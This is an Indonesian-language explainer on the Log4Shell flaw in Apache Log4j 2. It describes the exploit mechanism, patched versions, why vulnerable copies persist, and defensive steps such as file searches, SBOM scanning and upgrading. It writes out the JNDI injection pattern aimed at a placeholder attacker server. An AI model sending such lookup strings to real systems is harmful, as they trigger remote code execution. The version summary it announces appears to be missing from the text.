Log4Shell, Pelajaran dari Celah Log4j yang Masih Diburu

Bayangkan sebuah aplikasi Java lama di kantor: sistem absensi, portal vendor, atau aplikasi gudang yang dipasang konsultan bertahun-tahun lalu. Aplikasinya masih jalan, tidak ada yang mengeluh, dan tidak ada yang ingat pustaka apa saja yang ada di dalamnya. Justru aplikasi seperti inilah yang sampai sekarang masih menjadi sasaran pemindaian Log4Shell.

Log4Shell adalah nama untuk CVE-2021-44228, celah di Apache Log4j 2 yang diumumkan Desember 2021 dengan skor CVSS 10.0. Penyerang cukup membuat aplikasi mencatat (log) sebuah teks khusus, lalu server memuat dan menjalankan kode dari luar. Celah ini sudah lama ditambal, tetapi pelajarannya masih relevan: kamu tidak bisa menambal sesuatu yang tidak kamu tahu keberadaannya.

Bagaimana satu baris log bisa mengambil alih server?

Log4j adalah pustaka pencatatan yang sangat umum di ekosistem Java. Versi rentannya mendukung fitur "lookup", yaitu pola seperti ${...} di dalam pesan log yang akan diganti dengan nilai tertentu. Salah satu lookup itu memakai JNDI, mekanisme Java untuk mengambil objek dari layanan direktori seperti LDAP.

Masalahnya, Log4j memproses lookup bahkan di dalam data yang dikirim pengguna. Kalau aplikasi mencatat isi header User-Agent, nama pengguna di formulir login, atau parameter pencarian, penyerang bisa mengisinya dengan teks berpola ${jndi:ldap://server-penyerang/...}. Saat teks itu dicatat, Log4j menghubungi server penyerang, mengambil kelas Java yang disiapkan, dan menjalankannya. Hasilnya eksekusi kode jarak jauh tanpa login.

Yang membuatnya berbahaya adalah jalurnya yang tidak terduga. Input tidak harus sampai ke bagian aplikasi yang "berbahaya". Cukup dicatat, dan pencatatan terjadi di mana-mana, termasuk di sistem lain yang ikut memproses data yang sama di belakang layar.

Versi Log4j yang terdampak dan versi aman

Perbaikan pertama (2.15.0) ternyata belum tuntas, sehingga dalam beberapa minggu muncul beberapa CVE lanjutan dan rilis susulan. Ringkasannya berdasarkan halaman keamanan resmi Apache Logging:

Kesimpulan praktisnya: Apache menyarankan 2.17.1 atau lebih baru untuk Java 8 ke atas, 2.12.4 untuk Java 7, dan 2.3.2 untuk Java 6. Kalau kamu memperbarui hari ini, langsung pakai rilis 2.x terbaru yang didukung, bukan sekadar versi minimum.

Log4j 1.x tidak memiliki celah JNDI lookup yang sama, tetapi cabang itu sudah lama berakhir masa dukungannya dan punya celahnya sendiri. Menetap di 1.x bukan solusi.

Kenapa masih diburu bertahun-tahun kemudian

Pada Juli 2022, Cyber Safety Review Board Amerika Serikat menerbitkan laporan pertamanya tentang Log4j dan menyebutnya "endemic vulnerability": salinan rentan diperkirakan akan tetap ada di sistem selama bertahun-tahun, mungkin satu dekade atau lebih. CVE-2021-44228 juga tercantum di katalog Known Exploited Vulnerabilities milik CISA, yang berarti eksploitasinya sudah terbukti di dunia nyata.

Ada beberapa alasan celah ini sulit hilang:

• Tersembunyi di dalam paket lain. Log4j sering tidak dipasang langsung, tetapi ikut sebagai dependensi dari dependensi. File JAR bisa tertanam di dalam JAR lain, WAR, atau image container.
• Perangkat dan aplikasi pihak ketiga. Banyak produk komersial, perangkat jaringan, dan aplikasi on-premise memakai Java. Pembaruannya bergantung pada vendor, dan sebagian sistem lama sudah tidak didukung.
• Aplikasi "yang penting jalan". Sistem internal yang jarang disentuh sering luput dari jadwal patch, padahal bisa saja terhubung ke internet lewat portal atau API.
• Pemindaian murah. Bagi penyerang, mengirim string uji ke ribuan alamat hampir tanpa biaya. Satu server yang terlewat sudah cukup.

Langkah memeriksa sistemmu sekarang

Pertama, cari file Log4j di server, termasuk di dalam arsip. Perintah sederhana untuk awal pencarian:

sudo find / -xdev \( -name 'log4j-core-*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null

Untuk JAR yang tertanam di dalam arsip lain, gunakan pemindai dependensi atau SBOM (software bill of materials). Alat seperti Syft untuk membuat SBOM dan Grype atau Trivy untuk mencocokkannya dengan database CVE bisa memeriksa folder, file JAR, maupun image Docker. Untuk proyek yang dibangun dengan Maven atau Gradle, perintah mvn dependency:tree atau gradle dependencies menunjukkan apakah log4j-core ikut terbawa dan versinya berapa.

Kedua, perbarui ke versi yang disarankan, lalu bangun ulang dan deploy ulang aplikasinya. Mengganti file JAR saja tidak cukup bila aplikasi dikemas ulang atau berjalan di container lama.

Ketiga, untuk produk pihak ketiga, cek advisori resmi vendornya. Kalau vendor sudah tidak memberi pembaruan, pertimbangkan untuk memutus aplikasi itu dari internet, menaruhnya di balik VPN, atau menggantinya.

Mitigasi sementara yang dulu banyak dibagikan, seperti mengatur log4j2.formatMsgNoLookups, terbukti tidak menutup semua jalur serangan menurut Apache. Anggap itu tindakan darurat, bukan perbaikan.

Pelajaran yang berlaku untuk celah apa pun

Log4Shell mengajarkan bahwa keamanan dimulai dari inventaris. Tim yang sudah punya daftar perangkat lunak dan dependensinya bisa menjawab "apakah kita terdampak?" dalam hitungan jam. Tim yang belum punya harus menggali server satu per satu.

Pelajaran berikutnya adalah prioritas. Tidak semua CVE harus ditangani malam itu juga, tetapi celah yang masuk katalog eksploitasi aktif seperti KEV layak didahulukan. Cara memakai katalog itu dibahas di katalog KEV CISA, dan cara menyusun rutinitas pembaruan ada di patch management.

Terakhir, kode pihak ketiga adalah bagian dari permukaan serangan. Log4j adalah proyek open source yang dirawat relawan dan dipakai jutaan aplikasi. Saat satu pustaka bermasalah, dampaknya menjalar ke seluruh rantai pasok perangkat lunak, pola yang juga dibahas di serangan rantai pasok.

Ringkasnya, Log4Shell sudah punya tambalan sejak akhir 2021, tetapi sistem yang tidak pernah diperiksa tetap rentan sampai hari ini. Cari Log4j di semua server dan image, perbarui ke 2.17.1 atau rilis yang lebih baru sesuai versi Java, dan jadikan SBOM bagian dari proses rilis agar celah berikutnya bisa dijawab lebih cepat.